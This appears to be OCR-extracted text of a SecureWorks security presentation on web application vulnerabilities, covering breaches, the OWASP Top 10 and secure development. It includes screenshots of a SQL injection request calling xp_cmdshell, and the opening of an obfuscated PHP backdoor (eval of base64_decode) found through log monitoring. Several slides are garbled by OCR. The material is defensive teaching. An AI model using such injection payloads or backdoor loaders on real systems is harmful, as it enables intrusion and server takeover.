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Introduction

SecureWorks focuses exclusively on security
services to protect more than 2,700 clients around
the world.

Three areas of expertise: managed security
services, threat intelligence and security and risk
consulting.
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Introduction

Randy Janinda

Senior Application Security Consultant
Background in application and systems development
Designed intrusion prevention systems
Malware research
Application Security Assessments
Pen Tests
Social Engineering
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Current Web Security Issues

Microsoft Internet Explorer
Previously unknown vulnerability
Used to hack Google
SSL renegotiation
Research announced in November 2009
Acknowledged, but dismissed as theoretical

1 week later, used to steal Twitter credentials
(http://www.theregister.co.uk/2009/11/14/ssl_renegotiation_bug_exploited/)

SQL Injection
Heartland Payment System, others — 130 million credit cards
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Why Are Web Applications So Vulnerable?

Business demands
Website is required for business
Focus is availability and access, not security
Speed of the web = new features now!
Technical Complexity

Design, architecture, applications, databases, systems, access
control, version control, etc

Simple changes can alter security policy
Opening new doors
New forms and functionality add new windows for attackers
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Protecting Your Applications

What is a web application?
Operating system
Database
Web server
Programming
- Backend (ASP, PHP, C, Java
- User Interface (HTML, Javascript, etc)

Every layer is a possible target!
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Protecting Your Applications

OWASP - http://www.owasp.org
Most common vulnerabilites = OWASP Top 10

Cross Site Scripting

Injection Flaws (SQL, LDAP, commands, etc)
Malicious File Execution

Insecure Direct Object Reference

Cross Site Request Forgery

Information Leakage/Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage

Insecure Communications

Failure to Restrict URL Access
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Protecting Your Applications

Sometimes, it's the users

'"Trivial’ Passwords Enabled Huge Hack
( )

33 million passwords stolen and published
Most popular password: '123456'
Used by 290,731 accounts
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Protecting Your Applications

And sometimes, it's a bad design

a6 Default (193,48)

~ Default Default

ollateral hove a three-day r an period.", &
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Protecting Your Applications

Establish a culture of security

Education and Training

Security awareness

Secure coding practices
Process review and improvement

Software development lifecycle

Change management
Application Testing

Scanners are nice, but..
Monitoring
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Protecting Your Applications

Let's Attack An Application!

A real-world example
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Protecting Your Applications

® HTTP Editor

Fle Edit Vew Hep

1 5 | | Elsend AsIs 3 Show History
% 20exec%20xp_cmdshel %20 )

Location: [http: /. m icalendar index. cfn?fuseaction=View%20Event&calendar_id=1

Raw I Details r Hex I

(Select a request action) ~ apply| 44

D -=1-rd=x/index cfmdfuseaction=Viewd20Eventicelendar id=143;
/calendar/index cEm?fusea

Oexect20xp cmdshell320;

ferer: hutp://www 80/
ne-cache
: Mezilla/4.0 (compatible; MSIZ 7.0; Windews NT 5.1; SV1; .NET CLR 1.1.4322)

28281826; TSESETONID=323065b0a334350251452

7=

ie=WebInspectSE3332K3036344E79FD43012062DERTRAS

Raw Browser Hex

/|

| 1\ Request aborted - Unable to parse Web Server response : Unable to read data from the transport conneffffen: An existing connection was forcibly dosed by the remate host.

Bistart| E@ DB D W 2 = 1@ & |[L{6weblnspect - ) 3NessusClient -

Secure\We

Shorteut to Nmap... | [ mssql_data.txt -..
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Protecting Your Applications

HTTP Editor
Fle Edit View Help

wi=7 Hsend AsIs & show

Lacation: (e + [ send
Raw | Detais | Hex
(Select a request action) + App ‘_-ﬁ
cET _/-Calzndaxflndex,E:')r":'uszact:1cn:'lieu%QﬂZvEnt&calzndaxiid:143 20exectZixp_cwdshells20§HTTE/L. 1 =
meferer: hutp:/ www _ 3-)_-‘caland /index cfm?fus 12/24/2009s
no-cache
ent: Mozilla 4.0 (compatible; MSIE 7.0; Windows NT §.1; SV1; _NET CLR 1.1 4322)

ie=WebInspectSE3322X3026344E79FD43012062D2RTRAZRETESYRRAC

; c N=23231836;

ESSICNID=3330£5b0a23480251452

r Executing Database Query.

[Macromedial[SQLServer JDBC Driver][SQLServer] SR Rir]
stored procedure cmdshell’.

Flease

& Check the CFML Reference Manual to verify that you are using the correct syntax.

® Search the Knowledge Base to find a solution to your problem.

Browser Mozilla/4.0 {compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Remote Address
Referer http://www. 0/ (I <='=ndar/index.cfm?fuseaction~Eventsacalendardate=12/24/20098
Date/Time 21-Jan-10 05:
Request complete

Bistart| E@ OB D W 2 2 1@ & [L{6weblnspect - # 3NessusClient +| 52 Windows Expl... -| BH c:WINDOWS\sy ... | B Shortaut to Nmap... | (@ mssal_data.txt -... | |7 W% o8 &0 Sl s:32Pm
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Protecting Your Applications

How do you know if you've been attacked?

Another real-world example
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Protecting Your Applications

Log monitoring

Noticed several requests to a file name 'sex.php’

Sample of 'sex.php'

<?php
$O00000000=__FILE__;$000000000=__LINE__;$000000000=89936;eval((base64_decode('JEBWMDB
PME8wMD1mb3BIbigkTOOPME8wWTzAwLCdyYicpO3doaWxIKCOtJESBWMES8WMEBwWMCImZ2VO0cygkTzAwME
8wTzAWLDEwWMjQpO2ZnZXRzKCRPMDAwTzBPMDAsSNDA5Nik7JESPMDBPMDBPMDO0oYmFzZTYOX2RIY
29kZShzdHJOcihmemVhZCgkTzAWMES8wTzAwLDM3MiksJ1NNnZHRRcW51NTgySk00T3M3eW ViK1 RGVmx
wakxpazZmY1VIQklaMFBoMUdYQ3h2YUV6S1IvRHI5LzZNBd05XY119JywnQUJDREVGROhJSktMTUSPUFFS
U1RVVIdYWVphYmNkZWZnaGlga2xtbm9wcXJzdHV2d3h5ejAXMjMONTY30ODkrLycpKSk7ZXZhbCgkTO8wM
ES8WME8wKTs=")));return;

(actual code goes on like this for about 21 pages)

* PHP script reads itself, skips, reads, decodes
» About 4 levels of decoding
* Result: Backdoor Administration Tool
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Questions?

Contact SecureWorks:

info@secureworks.com
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